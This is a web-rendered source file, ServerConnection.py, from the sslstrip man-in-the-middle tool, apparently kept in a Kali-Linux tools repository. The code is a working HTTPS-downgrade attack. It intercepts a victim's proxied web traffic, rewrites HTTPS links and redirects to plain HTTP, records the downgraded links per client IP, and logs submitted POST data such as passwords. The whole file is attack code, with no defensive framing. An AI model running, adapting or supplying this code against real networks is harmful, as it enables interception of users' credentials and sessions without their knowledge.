Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
nu11secur1ty
GitHub Repository: nu11secur1ty/Kali-Linux
Path: blob/master/sslstrip-work-2019/sslstrip/ServerConnection.py
1306 views
1
# Copyright (c) 2004-2009 Moxie Marlinspike
2
#
3
# This program is free software; you can redistribute it and/or
4
# modify it under the terms of the GNU General Public License as
5
# published by the Free Software Foundation; either version 3 of the
6
# License, or (at your option) any later version.
7
#
8
# This program is distributed in the hope that it will be useful, but
9
# WITHOUT ANY WARRANTY; without even the implied warranty of
10
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11
# General Public License for more details.
12
#
13
# You should have received a copy of the GNU General Public License
14
# along with this program; if not, write to the Free Software
15
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16
# USA
17
#
18
19
import logging, re, string, random, zlib, gzip, StringIO
20
21
from twisted.web.http import HTTPClient
22
from URLMonitor import URLMonitor
23
24
class ServerConnection(HTTPClient):
25
26
''' The server connection is where we do the bulk of the stripping. Everything that
27
comes back is examined. The headers we dont like are removed, and the links are stripped
28
from HTTPS to HTTP.
29
'''
30
31
urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
32
urlType = re.compile(r"https://", re.IGNORECASE)
33
urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
34
35
def __init__(self, command, uri, postData, headers, client):
36
self.command = command
37
self.uri = uri
38
self.postData = postData
39
self.headers = headers
40
self.client = client
41
self.urlMonitor = URLMonitor.getInstance()
42
self.isImageRequest = False
43
self.isCompressed = False
44
self.contentLength = None
45
self.shutdownComplete = False
46
47
def getLogLevel(self):
48
return logging.DEBUG
49
50
def getPostPrefix(self):
51
return "POST"
52
53
def sendRequest(self):
54
logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri))
55
self.sendCommand(self.command, self.uri)
56
57
def sendHeaders(self):
58
for header, value in self.headers.items():
59
logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value))
60
self.sendHeader(header, value)
61
62
self.endHeaders()
63
64
def sendPostData(self):
65
logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData))
66
self.transport.write(self.postData)
67
68
def connectionMade(self):
69
logging.log(self.getLogLevel(), "HTTP connection made.")
70
self.sendRequest()
71
self.sendHeaders()
72
73
if (self.command == 'POST'):
74
self.sendPostData()
75
76
def handleStatus(self, version, code, message):
77
logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message))
78
self.client.setResponseCode(int(code), message)
79
80
def handleHeader(self, key, value):
81
logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value))
82
83
if (key.lower() == 'location'):
84
value = self.replaceSecureLinks(value)
85
86
if (key.lower() == 'content-type'):
87
if (value.find('image') != -1):
88
self.isImageRequest = True
89
logging.debug("Response is image content, not scanning...")
90
91
if (key.lower() == 'content-encoding'):
92
if (value.find('gzip') != -1):
93
logging.debug("Response is compressed...")
94
self.isCompressed = True
95
elif (key.lower() == 'content-length'):
96
self.contentLength = value
97
elif (key.lower() == 'set-cookie'):
98
self.client.responseHeaders.addRawHeader(key, value)
99
else:
100
self.client.setHeader(key, value)
101
102
def handleEndHeaders(self):
103
if (self.isImageRequest and self.contentLength != None):
104
self.client.setHeader("Content-Length", self.contentLength)
105
106
if self.length == 0:
107
self.shutdown()
108
109
def handleResponsePart(self, data):
110
if (self.isImageRequest):
111
self.client.write(data)
112
else:
113
HTTPClient.handleResponsePart(self, data)
114
115
def handleResponseEnd(self):
116
if (self.isImageRequest):
117
self.shutdown()
118
else:
119
HTTPClient.handleResponseEnd(self)
120
121
def handleResponse(self, data):
122
if (self.isCompressed):
123
logging.debug("Decompressing content...")
124
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
125
126
logging.log(self.getLogLevel(), "Read from server:\n" + data)
127
128
data = self.replaceSecureLinks(data)
129
130
if (self.contentLength != None):
131
self.client.setHeader('Content-Length', len(data))
132
133
self.client.write(data)
134
self.shutdown()
135
136
def replaceSecureLinks(self, data):
137
iterator = re.finditer(ServerConnection.urlExpression, data)
138
139
for match in iterator:
140
url = match.group()
141
142
logging.debug("Found secure reference: " + url)
143
144
url = url.replace('https://', 'http://', 1)
145
url = url.replace('&', '&')
146
self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
147
148
data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
149
return re.sub(ServerConnection.urlType, 'http://', data)
150
151
def shutdown(self):
152
if not self.shutdownComplete:
153
self.shutdownComplete = True
154
self.client.finish()
155
self.transport.loseConnection()
156
157
158
159